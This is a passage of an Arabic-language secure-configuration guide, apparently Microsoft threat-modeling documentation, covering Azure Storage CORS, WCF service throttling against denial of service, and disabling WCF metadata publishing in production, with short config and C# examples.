الخطوات يسمح لك Azure Storage بتمكين CORS - مشاركة الموارد عبر الأصل. لكل حساب تخزين، يمكنك تحديد المجالات التي يمكنها الوصول إلى الموارد في حساب التخزين هذا. بشكل افتراضي، يتم تعطيل CORS في جميع الخدمات. يمكنك تمكين CORS باستخدام REST API أو مكتبة عميل التخزين لاستدعاء إحدى الطرق لتعيين نُهج الخدمة.

تمكين ميزة تقييد خدمة WCF

‏‫العنوان التفاصيل
المكون WCF
مرحلة SDL إنشاء
التقنيات المعمول بها .NET Framework 3
السمات ‏‫غير متوفر‬
المراجع MSDN، Fortify Kingdom
الخطوات

قد يؤدي عدم وضع حد لاستخدام موارد النظام إلى استنفاد الموارد وفي النهاية رفض الخدمة.

  • شرح: تقدم Windows Communication Foundation (WCF) القدرة على التحكم في طلبات الخدمة. يمكن أن يؤدي السماح بعدد كبير جداً من طلبات العملاء إلى إغراق النظام واستنفاد موارده. من ناحية أخرى، فإن السماح لعدد صغير فقط من الطلبات لخدمة ما يمكن أن يمنع المستخدمين الشرعيين من استخدام الخدمة. يجب ضبط كل خدمة بشكل فردي وتهيئتها للسماح بالقدر المناسب من الموارد.
  • توصيات قم بتمكين ميزة تقييد خدمة WCF وقم بتعيين الحدود المناسبة لتطبيقك.

مثال

فيما يلي مثال على التكوين مع تمكين التحكم في السرعة:

<system.serviceModel> 
  <behaviors>
    <serviceBehaviors>
    <behavior name="Throttled">
    <serviceThrottling maxConcurrentCalls="[YOUR SERVICE VALUE]" maxConcurrentSessions="[YOUR SERVICE VALUE]" maxConcurrentInstances="[YOUR SERVICE VALUE]" /> 
  ...
</system.serviceModel> 

الكشف عن معلومات WCF من خلال بيانات التعريف

‏‫العنوان التفاصيل
المكون WCF
مرحلة SDL إنشاء
التقنيات المعمول بها .NET Framework 3
السمات ‏‫غير متوفر‬
المراجع MSDN، Fortify Kingdom
الخطوات يمكن أن تساعد بيانات التعريف المهاجمين في التعرُّف على النظام والتخطيط لشكل من أشكال الهجوم. يمكن تكوين خدمات WCF لعرض بيانات التعريف. تقدم بيانات التعريف معلومات مفصلة عن وصف الخدمة ويجب عدم بثها في بيئات الإنتاج. تحدد خصائص HttpGetEnabled / HttpsGetEnabled فئة ServiceMetaData ما إذا كانت الخدمة ستعرض بيانات التعريف

مثال

يوجه التعليمة البرمجية أدناه WCF إلى بث بيانات التعريف للخدمة

ServiceMetadataBehavior smb = new ServiceMetadataBehavior();
smb.HttpGetEnabled = true; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb); 

لا تقم ببث بيانات تعريف الخدمة في بيئة الإنتاج. قم بتعيين خصائص HttpGetEnabled/HttpsGetEnabled لفئة ServiceMetaData إلى false.

مثال

يوجه التعليمة البرمجية أدناه WCF إلى عدم بث بيانات التعريف للخدمة.

ServiceMetadataBehavior smb = new ServiceMetadataBehavior(); 
smb.HttpGetEnabled = false; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb);